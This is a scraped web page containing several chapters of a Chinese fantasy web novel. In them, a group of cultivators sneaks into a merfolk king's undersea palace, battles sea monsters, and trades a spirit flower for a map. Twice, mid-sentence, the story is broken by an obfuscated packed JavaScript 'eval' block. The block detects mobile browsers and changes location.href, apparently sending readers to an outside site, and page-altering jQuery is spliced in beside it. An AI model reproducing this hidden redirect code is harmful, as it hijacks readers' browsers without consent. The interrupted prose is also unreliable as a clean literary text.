“可是王今日不在啊,怎么说也要明日才回来,你不知道这个事吗?” 云修泽心中咯噔一下,表情险些有了变化,不知道他为什么忽然换了语言,是不是看出了什么在试探他们? 朗逸也随声换了回来,皱着眉说道。 “蚌狄,你别在这里诓我,谁不知道咱俩关系不好,我看你就是想要拖延我领地中幼崽的赐福,还不滚开!王究竟在不在我也要亲眼看过!” 蚌狄耸了耸肩。 “好吧,既然你无视我的好心非要去扑这个空,我也不阻止你,不过我见你带的这些幼崽里有两个很好看的女鲛人,我让你过去,你让我占个先,先认识认识她们,怎么样?” “不怎么样!” 朗逸面露嫌弃,把云修泽五人挡在身后。 “幼崽你也下得去手?他们还什么都不懂呢!而且你还想求偶我领地内的鲛人?想都不要想!” 蚌狄围着他们慢慢游动,目光饶有兴趣的打量着云修泽五人,拉着长调子说道。 “诶,你说的这叫什么话?更何况我也只是想认识认识,又没有说要现在下手。” 朗逸一尾巴甩过去,蚌狄手疾眼快用尾巴接住,两条有力的鱼尾相撞,在海中发出砰的一声闷响,随即又马上分开,海水因为他们的动作被搅乱,周围游弋的小鱼纷纷四散而逃。 “火气真大。” 蚌狄甩了甩尾巴。 云修泽五人配合的露出茫然的表情,仿佛并不明白现在发生了什么,蚌狄眼神扫过他们,嘴角微微勾起。 朗逸面露不快。 “我说不行就不行,还不快滚!” 说着,他就转身要带着云修泽五人继续前行,蚌狄却又一次不依不饶的挡在了他们面前。 嘴角仍然噙着一抹笑意,但是瞳孔愈发收紧,看着他们的眼神逐渐透露出危险的气息。 “我说,朗逸啊,这几个幼崽是出自哪个同族的?一窝正好五个,好像和王追捕的那群人数量一样啊,真巧,你说是不是?” 云修泽面色不变,心中思绪却开始快速转动,这个蚌狄执着到这个地步,显然不是单纯的因为求偶期,他在怀疑他们。 如果在鲛人族的领地被他认出来,那他们面临的将会是大批大批的围攻,哪怕撕了符咒,估计那群人都救不了他们。 朗逸的脸色也彻底黑了下去,面上尽是被冒犯的怒火,心中却清醒的意识到,蚌狄恐怕早就因为他们之间不友好的关系,将他领地内的情况摸清楚了,怪不得他会这么怀疑几个幼崽。 尽管心中明白恐已暴露,但表面上还是佯装压制着怒火说道。 “你的意思是我会背叛王吗?” 蚌狄道。 “怎么会,我的朋友,我这是怕你单纯,被人诓骗啊!” 朗逸冷哼一声。 “说什么恶心话?你既然不信,就自己过来看看他们的朔解,是真是假,我相信你还没眼瞎到那个地步。” 蚌狄果然依言游了过来,云修泽没想到他竟然这么单纯就信了,诧异的同时也立马意识到这是个机会。 趁着他低头靠近手腕的时候,另一只手手起刀落,一下将他劈晕过去。 蚌狄猝不及防下被偷袭后颈,短促的呃了一声,身体在瞬间伸的板直,然后就软软的落向了海洋深处。 云修云叹道。 “这条鱼还挺长。” 唐思月也叹道。 “傻,不能吃。” 云修云:“嘿嘿,不过他这样没事儿吗?” 他哥下手有多重他还是知道的,这一下下去,没个一天两天都醒不过来,这东西昏过去之后还挺沉,往下掉就没停下来过。 朗逸凑上来说道。 “没事儿,纯水族,掉多深都淹不死,我们快走吧,穿过他这里,离王的领地就不远了。” 云修泽看着蚌狄的身影消失在他们的视线中,问道。 “我们一路上遇到的鲛人都会记得你带我们经过,蚌狄醒来也不会善罢甘休,你确定被闻潺发现之后,你还能上岸吗?或者说,你本身是能上岸的吗?” 朗逸也是半妖,并且已经明显成长起来,不像秉唯一样夭折在半路,可他却远没有闻潺这般出名,甚至能够被通神阁驱使,那他的血脉融合定然就不算太好,既然长期生活在水中,那应该是水妖方面的血脉更强劲一些,至于人族的血脉,应该就不好说了。 而且既然蚌狄知道闻潺在追捕他们五个,那朗逸应该也清楚,他不可能不知道几人的目的,那他为什么还是这么有恃无恐的给他们带路? 难道....... 是请君入瓮? 云修泽的目光一下变得犀利起来,他警惕的状态马上引起了其他四人的注意,看向朗逸的目光逐渐不善,仅靠着对明水心的信任才没有立刻有所动作。 五双眼睛死死盯着他,只要他一有异动,现在这个平静的场面就会被立刻打破。 朗逸不耐烦的摆了下尾巴,刚刚因为蚌狄,他装出来的好脾气崩了个差不多,现在好了,他们又因为那个蠢货说的话开始怀疑上了,他还得费力气说明,私心里很想撂挑子不干,但最终还是烦躁的解释起来。 “你们担心个屁,路上大部分都是我的心腹,这个憨批我也有办法让他闭嘴,我和通神阁可不是什么互利共赢的关系,要害你们早把你们丢去喂鱼了,还至于在这儿跟你们哔哔!” 云修泽对他展现出来的不同性格感到些许诧异,但也没放在心上,异族之间,一面之交,再如何伪装也是正常的。 只是......不是互利共赢? 云修泽恍然明白过来,明水心既然敢放心让他们来,那应该就有一定的把握,朗逸看来是有不小的把柄在通神阁手里,竟然让他甘愿冒这种险。 其中缘由他不欲多问,没有问题最好。 云修泽又端起客气亲热的笑容,说道。 “哪里的话,我们毕竟从岸上来,难免心有惴惴,还要请你多担待才是。” 朗逸似乎没太听懂,眼神迷茫了一瞬,但也没管太多,只想赶紧把事干完,转身招呼他们赶紧赶路。 他们越往深处游,光线就越暗,声音也越来越少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431744|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,空洞洞的海洋宛若深渊巨物静静蛰伏,随时会暴起将他们吞噬。 云修泽的心情不可避免的变得压抑起来。 朗逸仍然在前面带路,只是不再像之前一样会回头确认他们的状态。 不知过了多长时间,海中忽然就有了些微微的光亮。 “到了。” 随着朗逸停下,一座海中宫殿就呈现在众人面前。 它静静矗立在海底,就像是若千年前被遗落在此的珍珠,至今仍在散发着柔和的光芒。 几人一时无言。 朗逸指了指,说道。 “王不在,里面也没有侍从什么的,你们直接进去就行,我之前说的地方就是最中央的宫殿,你们进去就能找到,我就不跟过去了。” “既然如此,那我们就......” 云修泽话还没说完,一转头鱼就只剩了个半身大的背影。 云修泽:“......” 云修云啧了一声。 “这家伙,跑的倒是快。” 云修泽失笑。 “不管他了,我们进去。” 他们慢慢靠近宫殿,竟也没遇到什么结界,只有一层如同泡泡的隔膜,穿过后就骤然失了浮力。 几人很快调整姿势落在地上,但因为鱼尾不便,多少还是有些狼狈,原来那层隔膜隔开的是水和空气,整个宫殿不知用了什么法子,在深海中空气还能循环流通,宛若建在了陆地之上。 幸亏他们带的丹药不止一份。 五人毫不吝惜的迅速冲散了体内残存的药力,重新化为了人身。 神识第一时间铺开到了整座宫殿,发现除了中央的正殿探查不了之外,其余所有的地方都的确再无任何活物,这里安静的连刚刚海水流动的声音都没有。 几人没有放松警惕,调整了站位后,便慢慢来到了朗逸所说的那间‘宝藏屋’。 围绕着这里,共有五座泛着贝壳色泽的石柱,上面各浮着比拳头还要大两圈的鲛珠,仔细听,还能听见它们之间共鸣的细碎声响。 “将军锁?” 云修泽不确定的打量着这巍峨大殿的锁扣,没有多么复杂深奥的结界也就罢了,唯一的一道防线,竟然是这样带着点玩闹意味的榫卯木锁吗? 天盛微小心的拿着看了看,说道。 “不要小看它,这是十八柱的,要解开并不容易。” “费这个力气!直接毁了便是!” 云修云不想在这里耗费太长时间,有些冲动的开口。 唐思月一指灵力点在上面,锁身便顺着缝隙泛起光泽。 “这是被强大妖力加固过的,想要破坏它,除非闹出老大当时在森阳城那么大的动静才行。” 那样肯定是不行,几人最后决定还是尽快破解为上。 云修云自认对这种东西没什么耐心,便和行愿一起在两边警戒,听他们三个围着锁嘀嘀咕咕的讨论,目光却渐渐的被那鲛珠吸引了过去。 门那边不断传来试错的咔哒声响,就这么不知过了多久,才听到唐思月小声惊呼。 “开了!” 但随即,云修云和行愿也察觉到了什么,拔剑便喊。 “走!” 同时,上方传来一个人隐怒的声响。 “来者——休走!” 轰隆——!!! 宫殿的边缘,四条巨大的鲛纱拔地而起,呈包围之势向他们裹来! 几人急速上浮,重新入海之后,也凭着剑势,速度没有丝毫减弱,但尽管如此,还是要比鲛纱包围他们的速度慢上一些。 云修泽咬牙,骤然发现旁边竟还有一条奇怪的空隙正好可供他们逃离,就宛如一个甜美的陷阱。 云修泽无法控制自己不去想太多,万千思绪瞬间划过,但生死攸关往往也是只争毫厘。 天盛微当机立断往那空隙突破,万幸是真正的生门。 鲛纱没能将他们留住,五人随着高高溅起的水花,顺利的破开了水面。 他们御剑飞在半空,低头,鲛纱没有继续追来,但零散的水妖已经开始虎视眈眈向他们聚集,鲛人领地宽广,一时半会儿还无法大批赶来。 闻潺居然提前回来了! 云修泽暗暗咬牙,毫不质疑刚刚那个声音的主人身份,只是他竟没有亲自追上来,也许是笃定这些已足够将他们拿下。 但是此战,此刻,已避无可避! 96. 疑相十二 天不知何时阴了下来。 拉开序幕的是鲛人族冰冷的吟唱,或高或低,近在耳畔,又如远在天边,与朗逸唱的不同,这次听到的歌声似乎引起了他们身体的共颤,呼吸被压紧,心脏宛如下一瞬就会崩裂。 忽然之间,这种感觉又骤然消失,唐思月出手了,她的琴音牢牢护在几人身侧,抵消了鲛人族令人闻风丧胆的歌声。 音域之中,厮杀向来无形无息,唐思月的实力足以立于万人之上,但面对不断聚集而来的、以歌声闻名的鲛人族,也仍然不敢托大,每一次拨弦都谨慎而警惕。 越是危险,云修泽就越是诡异的冷静。 大批的海妖在半个时辰内绝对足以将他们围的无法逃出生天,闻潺并未露面,而这里距离船停泊的地点尚有不近的距离。 撕符无用,他们必须趁着这个机会自己逃出去! “我们走!” 他低声喝道。 五六丈高的水墙不断溅起拦路,部分有滑翔能力的水妖飞到空中又被他们斩落,虽然不难对付,但是密集又烦人。 水中浮现出巨大的阴影,就在他们的脚下,然而等他们发现时,那巨物距离水面已经相当之近。 云修泽吼道:“散开!” 随着他的话,三四条粗壮的腕足猛然从海里窜出,若不是他们反应迅速,估计能直接被它穿成一串儿。 它溅起的水花落回去也发出了巨大的声响,同时几人也分辨出了它究竟是何物。 这是一只形似章鱼的蛸,九条腕足,剧毒无比,弱点在它其中一条腕足之上,但是那一条通常都会被它保护的很好。 伸出海面的腕足并没有被它收回去,而是转了方向,向他们分别追去。 几人在粗壮的腕足之间穿梭不停,还要尽量远离海面,躲开那些突如其来的骚扰攻击。 天盛微落在腕尖,脚下触感绵软,她握紧深流,不顾身后的追击,矮身急速跑起来,顺着它的触手,一路就要往它的本体杀去。 她脚下的那条触手无法将她卷住,眼见她靠的越来越近,不得不又伸出了一条从前方朝她刺去。 天盛微急刹侧翻,前后两条腕足擦着她的身体划过,而她面色不动,在空中一个扭身,顺势斩落了它的一条腕足! 蛸发出一阵刺耳的叫声,向后缩了缩,似乎想要重新沉回海底,然而另一边被拉紧的腕足却并不允许它随心妄为。 云修云和行愿不知怎么想的,竟然互相配合着将蛸的两条腕足缠到了一起,此时正被司越钉死在旁边一个背壳有小山那么高的水族身上。 两只水族力气身量相仿,一时之间竟谁也拽不过谁。 唐思月站在一个圆盘样式的法器上,这是他们之前特意买的,只要有灵力供应,就可以随主人心意漂浮或者挪动,并且还能形成一个类似于金钟罩的保护屏障,十分坚固,云修泽曾经亲自试验,他也几乎是用上了全力才能将其撼动。 唐思月附近是鲛人最多的地方,他们几乎紧盯着她,吟唱不断,同时冷白的手臂向上伸出,水柱一道道打在保护罩上,就像地狱的恶鬼要将她拖入深渊。 唐思月并未慌乱,只是抽不出多余的精力去帮其他四人。 云修泽距离他们有些远了,摆脱了手边的麻烦后,便想着尽快和他们汇合。 海面渐渐聚起了风,云修泽御剑疾驰,速度越快,风就打的脸颊越痛。 海面之上映出一道细长的阴影,攻击落下的声音混在烈风之中难以察觉,云修泽注意到时,思绪还没有反应过来,但是身体就好像已经经历了千遍万遍一般自己躲了开来。 旋即,一条略带熟悉的尾巴便擦着他的右臂狠狠拍在了海面。 啪——! 云修泽捂着被刮伤的肩膀喘息,心中讶异不止,刚刚那极短的一瞬已足够让他认出来偷袭他的究竟是什么东西。 竟然是篪! 篪十分罕见,实力强大却天生亲近灵力,性情较为和顺,几乎已经脱离了妖兽的范畴,不然也不会被昆天谷花大功夫弄去一头专门看守松林。 云修泽根本没想过它们也能为闻潺所用。 可现在没有时间容他多想,那头篪并未就此作罢,仍然游弋在他的周围,趁他不备竟又故技重施。 云修泽心中不合时宜的感到些许好笑,跟现在这头的攻势比起来,悬练那个还真是对他够温柔的。 之后再去的话,给它捎点儿吃的吧。 云修泽抽空想着,同时也毫不拖泥带水的又一次躲开,然而这一次却并没有如他所愿,脚腕忽然被什么东西缠上,低头一看,竟然是蛸的一条腕足。 这个相较其他的来要纤细一些,无声无息的缠上来竟也没叫他发现,此时猝不及防将他拉下褚闲,狠狠的贯入了海中。 咕噜——咳、哈——咕噜噜噜—— 云修泽呛水之后迅速将褚闲召回手中,转身想要斩断那条腕足,它却自己收了回去,他没有追击,迅速浮出海面,还没来得及喘口气,就又被篪缠着带了下去。 庞然巨物的压迫感十分之强,云修泽无意间透过细密的气泡、透过身边的阴影、透过无数水妖的身形,窥见了一个始终冷眼旁观的男人。 闻潺!!! 云修泽双眼睁大,几乎一瞬间就意识到了他的身份,那人冷淡的与他对视,却又毫不在意的挪开双眼。 云修泽明白,他们几个在他眼中恐怕都已是必死无疑。 他略微开始感到兴奋。 好啊,你既然不让我们走,那就把我们想要的东西交出来吧! 水族无休止的围攻是个巨大的麻烦,然而这一切的麻烦都来自于这位半妖之王。 威胁他——或者解决他。 无论如何,这事都不能轻易了之。 云修泽开始专心致志的对付篪,身上是鳞片,刀枪不入,弱点是左眼和尾巴。 云修泽在水中堪称灵活的与它交锋,这头篪生活在海洋,周边危险无数,鳞甲也可窥见伤痕,必定身经百战,实力比昆天谷的只强不弱。 然而云修泽却并未觉得比当时那头难对付多少,他冷静的吸引它的注意,褚闲趁机绕后,在它的尾巴上划出一道深深的血痕。 “咹——!!!!” 篪大叫一声,尾巴上的疼痛迅速激怒了它,血盆大口便猛然咬来。 云修泽借水势躲过,心中冷静的想,央玉恐怕早已料到了今日情形,若不是他让他提前熟知了篪的习性弱点,今日骤然遇上,恐怕还真得吃个大亏。 蛸撤出了海面战场,竟然重新沉入水中帮篪一起对付他。 这可麻烦了。 云修泽暗啧,随即就听扑通一声,是云修云一个猛子扎入了海里。 其余的水族被天盛微三人控制在了水面,他便下来帮云修泽一起对付这两头巨物。 云修云对篪也算得上熟悉,陡然心生一计,便故意将蛸也引到了附近。 两兄弟对视一眼,云修云做了个抱拳的动作,云修泽瞬间就明白了他想做什么,看了眼两头巨物之间的距离后,便深觉此法可行。 篪很在意它的左眼,云修泽利用这点一直牵制着它去到他心中所想的位置。 “唔呃!” 那边传来一声闷哼,云修泽瞳孔一缩,回头便见云修云的左肩被一条腕足贯穿,鲜血登时涌出,顷刻间就在海中连成了血雾。 云修泽刚想赶去,就见他忍痛摆了摆手,示意他按原计划进行,而他自己则是抓住了身前冒出的腕尖,灵力寸寸灌入,与蛸本身的妖力相斥,痛苦之下,逼它不得不缩了回去。 兄弟二人齐心协力,凭着简单的手势交流,竟然在混战之中耍了篪和蛸一把大的。 见它们两个被彼此缠死无法动弹,云修云露出窃笑的表情,拿着司越阴恻恻的就把毫无反抗之力的蛸送上了西天。 云修泽也趁机刺向了篪的左眼,在它发出最后一声悲鸣后,那双澄黄色便肉眼可见的暗淡下去。 它们既死,那现在—— 云修泽目光落在远处的闻潺身上,势如破竹,飞速向他攻去! 闻潺本是眼神轻蔑,却在褚闲灵光大盛,转身朝那间宫殿攻去时有了怒意的动摇。 他张口不知念了什么,海中竟无端现出漩涡,愈演愈烈,只要云修泽再敢靠近一步,就定然会被卷入其中,碎尸万段! 可云修泽本身意不在此,趁着闻潺注意力偏移,身形在海中快出了残影,鬼魅般出现在他的身侧,褚闲飞快落下一斩,却根本没有砍到实物的手感,闻潺的身影在此击之下一分为二,如纸片般骤然消散。 竟然是假的! 云修泽咬牙,漩涡近在脚边,没有多余的时间让他去找真的了,不想被卷入就只能重新回到空中。 几乎就在云修泽脱离海面的一瞬间,巨型的海旋涡便真正成了型。 云修泽在空中俯瞰,胸膛剧烈起伏,漩涡连水族都无法靠近,避之不及,激烈的水流即使他在这里也听的一清二楚。 这种几乎只可能自然形成的灾厄,竟然是闻潺随口召唤,对于水之一道,他究竟有了多深的领悟,血脉完美融合的半妖,成长起来竟能强到如此地步? 当务之急,还是先和天盛微他们汇合。 云修泽转眼一看,海面已经漂浮了不少水妖的尸体,几人身上都有不同程度的伤痕,但看过来时又都表示 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他启唇吹出一口寒气,周边的海面便被轻而易举的冻结,寒意顺着深流和她脚尖接触的冰面节节攀升,很快就让她觉得四肢僵硬难以动弹。 灵力一道道冲刷,缓解了这种冰冷的感觉之后,天盛微迅速拔开深流,翻身朝后退去,寒气暂时无法被彻底驱逐,在她体内大快朵颐的蚕食着剩余的灵力,逐渐开始让她觉得力不从心。 深流从剑尖开始寸寸结冰,几乎是一个眨眼的功夫,便从内到外冻成了一个冰疙瘩,任她如何注入灵力,也没有给她半分回应。 那鲛人笑意晏晏,用水族的话说了句什么,天盛微没有听懂,但也左不过是什么笑他们不自量力,让她投降之类的话。 她左右看了看,每个人都被缠住,短时间内无法支援,但都尚有余力,可一旦她出了问题,他们就绝对会因为顾及这边而露出破绽。 时间紧迫,局势不明,当破口出现,他们可能立时三刻就会陷入巨大的危机。 绝不可以! 对面的鲛人虎视眈眈,她不断试图破开坚冰,然而这冰好像十分特殊,不仅内外都无法破除,更是隐隐压制了深流。 深流无法给她回应,再这样下去,她就只能弃剑! 天盛微紧咬牙关,不甘心明晃晃的写在她的眼中。 那鲛人看戏一般并不对她出手,像是要看看她究竟还能有什么办法。 天盛微趁着这短暂的时间开始迅速回忆起云修泽说过的所有细节,据他所说,剑灵觉醒之时,会有相当强大的力量迸发,若真能办到,也定然能破了这该死的冰! 深流、深流、深流——!!! 细节、心意相通、走马灯,我该如何明白你? 危机、生死一刻、嗡鸣声,你明明也在叫我! 天盛微握剑的手用力到颤抖,深流也仍是没有丝毫反应,反而是那剑上的寒意开始丝丝缕缕顺着侵入她的体内。 天盛微只觉得思绪都好像因此变慢了,然而她却不知,此时她的模样在旁人看来几乎已经成了一个冰雕,不动不说,就连睫毛发丝都覆上了一层厚厚的白霜,她却沉浸在自己的世界中没有察觉。 冷,好冷,为什么会这么冷? 天盛微注意力迟缓的放到了握剑的手上,才缓缓想起,原来是因为深流。 可是怎么会呢? 深流怎么会怕冷? 深流,本就是寒潭之剑啊—— 对啊,深流取自周天山的万年寒潭,是她费了无数功夫亲自取来,也是她亲眼看着师傅一点点将它锻造成型,在它出世之后,数的出来的年月里,她就与它没有一日分离。 它为她而生,天生与她契合无比,而每一次挥剑,她都懂得它的心意。 在这一刻,天盛微才突然察觉到,她本来就懂得,只是清醒的做着梦一般,忽略了透明的屏障! 咔嚓—— 鲛人突然感受到了一种隐隐的压迫,不再惬意的漫游,警惕的看向她,只见那剑上的冰猛然崩开了无数细密的裂缝。 天盛微重新睁开眼睛,冰霜抖落,垂眸念道。 “深流本就是寒潭之剑,不会、也永不畏惧与水的争斗。” 随着她的声音,深流灵光大盛,清越的嗡鸣愈加清晰,冰被炸裂成块朝四处极速飞射。 那鲛人将崩到眼前的冰块儿重新融化成水,可刚一挪开手臂,就惊恐的见到冒着冷光的剑刃不知何时已经近在咫尺。 天盛微居高临下,冰霜不再是她的桎梏,而是加冕的王冠,她平静地宣判道。 “水的领域,我们才是主宰。” 97. 疑相十三 千钧一刻,一条鲛纱以肉眼不可见的速度卷住那条鲛人离开,将他救了下来。 与此同时,深流的剑尖插入冰层,磅礴的灵气扫荡海面,所过之处,冰层断裂、蓝火湮灭、波涛的浪被彻底抚平,就连那存在感尤其之强的漩涡都有了收缩之势。 所有海族不约而同被震慑片刻,整个战场一时间只剩下了呜呜的风声。 天盛微此时的感觉很玄妙,切身体会了一把云修泽那句哑巴兄弟开口说话的奇幻感。 深流仿佛有了心跳,而每一次都无比契合的与她共振。 欣喜之感油然而生,分不清是出自深流还是她自己,天盛微有些不可置信的喘息着,再一次在心中默念。 “深流。” 这一次深流不再无言,剑身发出细微的震颤回应它的主人,愈加剧烈,仿佛是在补全之前每一次的呼唤。 我听到了、我听到了! 天盛微眼睛闪着亮光,回头就想去找云修泽,然而短暂平静的海面却突然被一个声音打破。 “嗯?女娃娃,你这剑不错。” 这声音与刚刚在海底听到的一模一样,但这次似乎带了微妙的迷惑之感,令天盛微恍惚了片刻,她突然意识到,这是闻潺! “且拿来让本王一观吧!” 还没等众人做出什么反应,一条鲛纱又骤然破水而出,向天盛微卷去。 天盛微迅速后撤抵挡,却莫名感到了一丝违和。 这鲛纱速度虽快,可声音在前,破水的距离又过远,莫说自己,就连其他几个同伴想要赶来协助也不是不可能。 那么他为什么...... 电光火石之间,天盛微睁大双眼,猛然喝道。 “都别过来!警惕!” 都别过来!这是个陷阱!一旦吸引了你们的注意力,你们就无法应对突如其来的偷袭! 天盛微是对的,几人的反应速度都当属顶尖之列,行愿和云修云离得近,迅速躲过后还顺势扯了他一把,唐思月的屏障被打出了裂痕,强行拨弦绞杀也受了反噬。 云修泽是关心最切之人,也是唯一一个没有躲过的人。 杀招已近在他的面门,他紧缩的瞳孔映出了鲛纱柔软但锋利的影子,褚闲的格挡只有毫厘之差,任凭如何加速也决计救不下它的主人。 天盛微只感觉同身的血液都要凝固,深流疾驰追去,一切动作都仿佛在此刻被放慢定格,云修泽在最后的一瞬间紧闭双眼,双臂的保护也许毫无用处,但已经是他在这刹那间能做出的唯一抵抗。 轰————!!!! 两种强大气息的对撞在云修泽的身前荡开,空气在极短的时间内被压缩迸裂,狂风横扫,让刚刚平息的海面重新掀起剧烈的海浪。 离得最近的云修泽被波及,胸腹受到压缩,狼狈的喷出一口鲜血,但性命确实无忧。 狂风消散,被迫遮挡双眼的众人焦急看去,只见云修泽的前胸静静的悬浮着一朵花。 红色的花瓣泛着红晕,散发的强盛灵气引诱着人和妖,同时聚起了一道几乎不可能被打破的屏障,在生死关头拦住了那条夺命的鲛纱。 凤引花! 第七洲的几人不约而同认出了这朵花。 云修泽低头看着它,红色的光晕缓慢的起伏,这是他拿到凤引花之后,第一次见它这副模样。 云修泽心中诧异,凤引花为什么会在此刻出现,而且还保护了他? 见他没事,天盛微被扼紧的呼吸骤然放松,绝处逢生大抵也不过如此,她微微站直,才恍然惊觉手中尽是冷汗。 深流围着云修泽飞了一圈后回到她的手中,安抚的轻震了一下。 “凤、引、花。” 闻潺从始至终都未露面,但声音却清晰的在几人耳边回响,显然他认出了这只花,慢慢念出它的名字,情绪不明,但咬字奇重。 那条本冲着夺命而去的鲛纱毫不犹豫的放弃了云修泽,转而去夺取凤引花,却无论如何都穿不透它的屏障。 其余四人迅速赶到了云修泽身边,云修泽双手虚捧着它,尝试将它召回,刚刚闻潺百招试尽都碰不到的花,竟然就这样轻而易举重新回到了他的玉佩当中。 水族大多还沉浸在那股灵力之中尚未回神,闻潺沉默过后,一改刚刚的杀心,说道。 “本王知道你们是谁,也明白你们的目的,本王可以放你们安然离开,甚至将你们想要的东西送予你们,只要你。” 鲛纱虚点了一下云修泽。 “还有你。” 天盛微。 “和你。” 唐思月。 “只要你们三个来海底见本王,本王就可以承诺这件事,绝不反悔,如何?” 不如何! 云修云心中怒道,妖族的话岂能当真?若云修泽三人当真进了他们的地盘儿,捏圆搓扁还不是任他们施为! 云修泽沉声问道。 “烦请王上稍加解释,缘何是我们三人?” 闻潺似乎有着无尽的耐心,鲛纱再次一一点过。 “你的花,你的剑,你的琴。” 花和剑都能理解,至于琴...... 云修泽余光看了一眼唐思月手中的琴,难道是因为她的琴音可以抵御鲛人族的歌声吗? 云修泽后退半步,几人靠的很近。 对于闻潺的话,他们都是半信半疑的态度,唐思月和云修云更偏不信些。 唐思月低声道。 “别信他,先撕了符咒,拖上闻潺一拖,等闰和帝的人靠近些之后,我们未必不能一搏。” 云修云和行愿也大抵是这个意思,天盛微倒是有几分动摇,他们身上都有伤,此法虽也有可能成功,但终归是得不偿失,若是去的话...... 天盛微看向云修泽,在他眼中看到了一般无二的野心。 闻潺放任他们窃窃私语,平静的海面,仰望的鲛人遵从王的意志等待着,但是几人感到的窥伺之感却始终没有消散。 云修泽没用多长时间就决定要赴这一场鸿门宴,闻潺虽点名道姓要他们三人,但是剑和琴都没有阻挡他的杀心,唯有凤引于他特殊。 云修泽想起,当时摘取这朵凤引花时,他的血曾落到上面,片刻就消失殆尽,也许这正是它出现这种情况的原因,它竟然是可以认主的灵草! 凤引花现在相当于变成了他手中的一个筹码,只是不清楚这个筹码究竟有多重要,但是无论怎样,也足以被拿上这次疯狂的赌桌。 云修泽扬声道。 “我们答应你,但是只有我一人赴约!剑和琴伤重,不适宜再入深海!” “什么!” “这怎么可以!” 几人惊呼,天盛微也皱眉,迅速拉住了他的手臂。 “不行。” “嗤......” 闻潺轻笑一声,云修泽背后的手慢慢握紧,讲的这个条件虽是实情,但他也同时是在试探闻潺究竟有多在乎凤引,只听他笑过之后,便悠然道。 “好吧,琴不入水,可以,但是剑似乎并不同意啊,就你们两个吧,莫叫本王久等,对了,记得把鲛珠给本王还来。” 他的声音本来在那句久等之后就开始逐渐消散,似乎是准备离开此地,却又突然想起了什么,回来讨要鲛珠。 什么鲛珠?云修泽皱眉,刚想回头去问同伴,就见云修云一脸心虚的拿出了一颗很眼熟的鲛珠。 四人:“......” 云修云讪讪道。 “我就是想着,不能白来嘛,顺手抄了一颗,谁知道这闻潺这么小家子气,连颗珠子都要讨要。” 云修泽叹气,哪里是人家小气,这应该是布阵的一环,怪不得刚刚包围他们的鲛纱少了一面,合着是被这个傻小子误打误撞破了个角。 不过也正是这个举动才让他们一开始逃出生天,万事皆有因果,倒是不必苛责。 云修泽将鲛珠收好,海面上的水族就自发自让出了一条通道,盯着他们似乎都在无声的催促。 同伴的眼神实在无法忽略,云修泽心中暗叹,看来是不能独自前去了,他转头看到了天盛微略带怒意的双眼,调笑道。 “别生气,夫人,若是你,必然也会做出同为夫一样的选择。” 他说的很对,天盛微的气顿时就瘪了下去,没有理会他的油嘴滑舌。 唐思月三人拽着他们的衣袖,皱眉仍想阻止,但事已成定局,最终还是被云修泽胡言乱语安抚了下来。 云修泽和天盛微携手入了海中,通道正适宜两人通过,周围都是长相各异的水族,虎视眈眈的好像他们两个就是唾手可得的美味,垂涎的神态在海中显得尤为惊悚,只可惜吓唬的两人心态过硬,一个视若无物,一个直接将他们当做了路上铺设的鹅卵石。 这条通道的尽头不出两人的所料,果然是那间水中宫殿,门上的将军锁已被取下,禁地的大门幽幽的敞开着,安静的引诱着猎物上门。 两人没有犹豫,一步一步踏进去,脚步声清浅,但是在空荡的大殿却显得尤为清晰。 殿中一片浓黑,随着他们越走越深,才逐渐有了深沉的蓝色光晕。 殿门在他们身后轰然关闭,却并没有吸引两人的心神,云修泽的心中隐颤,映入眼中的画面让他感到了难以言说的震撼。 闻潺负手背对着他们,白色的长发垂地,他并未出声,只抬头静静的仰视。 面前,宏大的水幕成了一堵流动的墙,将整个大殿分为两方世界。 这水似乎并不是普通的海水,寒意之盛几乎可以和寒潭媲美,惹得深流发出阵阵嗡鸣。 水墙大的让人一眼看上去就只会觉得自身渺小,也同样将浮在中心的那道倩影衬得单薄。 她和闻潺一样有着等身的长发,乍一看似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此爽快,恐怕还真是闰和帝口中那个为了道侣要水淹计都的性子。 云修泽也二话不说逼出一滴心头精血,落在凤引花上,很快便斩断了他们之间那一丝微妙的联系。 云修泽的脸色略微苍白,天盛微有些担忧的扶住他,见他挥手,将凤引和鲛珠一并送了上去。 闻潺的情绪终于不再毫无起伏,猛然便想将凤引花握在手中,但是到了最后关头,手却又僵住,最终小心翼翼的将它收拢到了怀中,而那颗被特意讨要的鲛珠就这么被他冷落,咕噜噜滚到了地上。 拿到凤引花之后,地图就被他毫不留恋的扔了过来,也没刻意装进盒子,不按常理而论,看样子是一直被他贴身带着,他们之前来找,竟然还真的能扑一场空。 云修泽攥紧了地图,这是,第四份地图,第五份的下落也已清楚,他突然意识到,地图要集齐了。 闻潺问道。 “女娃娃,你的剑铸材取自哪里?” 天盛微并不隐瞒,反正他无法对昆天谷下手,不然也不会不知道昆天谷内长有凤引花。 “昆天谷,周天山,万年寒潭” “怪不得......”闻潺念道,那里就很难搞到了,没什么用处。 爱人复活在望,闻潺现在的心情很好,也愿与他们多说两句。 “你们找他们,要干什么?打架吗?” 他们?镜双子? 云修泽微微挑眉。 “大概是的,您认识他们吗?” “认识。” 天盛微突然问道。 “那您认得天恩垚吗?” “天恩垚?” 天盛微顿了顿,改口道。 “明恩垚。” 闻潺像是想起来了点儿什么。 “哦,他啊,我好像记得,他的气息很怪,我不常注意他。” 天盛微皱了皱眉,那应该也是不知道兄长发生了什么。 闻潺并不在意他,转而问云修泽道。 “你身上有天竹血脉?” 云修泽一开始不明白他是怎么知道的,但是当他看到袖子上的血迹之后,就恍然摸了摸身上的伤口,较浅的那些几乎已经痊愈。 闻潺莫名说道。 “天竹血脉,尚且纯净的,大约仅你一人了,小心引来觊觎。” 